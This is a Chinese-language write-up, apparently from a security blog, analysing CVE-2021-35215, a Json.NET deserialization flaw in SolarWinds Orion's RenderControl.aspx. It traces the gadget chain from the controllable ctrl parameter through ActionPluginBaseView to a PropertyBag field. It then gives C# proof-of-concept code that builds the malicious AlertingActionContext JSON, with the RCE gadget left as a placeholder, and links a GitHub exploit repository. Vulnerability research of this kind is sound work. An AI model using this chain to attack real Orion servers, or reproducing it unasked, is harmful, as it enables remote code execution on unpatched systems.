前言
原文讲的很清楚了,我这里大概记一下。看懂可能需要一些dotnet反序列化的基础知识,移步 https://github.com/Y4er/dotnet-deserialization
分析
C:\InetPub\SolarWinds\Orion\RenderControl.aspx.cs
OnInit()中加载控件,其中ctrl变量从请求中获取,可控。
controlToRender = LoadControl(ctrl);
之后将controlToRender传递给ApplyPropertiesAndAttributes()
方法签名要求controlToRender是一个System.Web.UI.Control
类型的控件。
然后346-352行是从JsonData中获取赋值给控件实例字段的名称和值,通过PropertySetter.SetProperties()进行反射赋值。JsonData是init的时候通过JavaScriptSerializer从http请求中反序列化回来的Dictionary<string, object>
键值对,可控。
那么现在我们可以调用控件类的setter,所以找控件类。
然后找到了SolarWinds.Orion.Web.Actions.ActionPluginBaseView
这个类
它这个setter调用了ParseViewContext(),跟进发现用了json.net的TypeNameHandling.Objects
并且JsonConvert.DeserializeObject<AlertingActionContext>(this.ViewContextJsonString, settings);
中,AlertingActionContext这个类继承ActionContextBase类。
该类有个MacroContext类型的字段,而MacroContext类型里有个字段是ContextBase类型的List。
ContextBase是一个抽象类。
根据其KnownType知道可以往List中放SwisEntityContext类型的对象,而SwisEntityContext类中有一个字段是PropertyBag类型
该字段可以存放Object类型的对象
所以我们的gadget可以放在这里,造成RCE。
PoC
Github:https://github.com/Y4er/CVE-2021-35215
代码参考
using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
var alertingActionContext = new AlertingActionContext();
var macroContext = new MacroContext();
var swisEntityContext = new SwisEntityContext();
var dictionary = new Dictionary<string, Object>();
dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
var propertyBag = new PropertyBag(dictionary);
swisEntityContext.EntityProperties = propertyBag;
macroContext.Add(swisEntityContext);
alertingActionContext.MacroContext = macroContext;
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Objects
};
var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
Console.WriteLine(serializeObject);
var streamWriter =
new StreamWriter(@"C:\Users\admin\Desktop\my\code\netcore\ConsoleApp1\ConsoleApp1\poc.json");
// serializeObject = serializeObject.Replace("\"", "\\\"");
streamWriter.Write(serializeObject);
streamWriter.Close();
}
}
}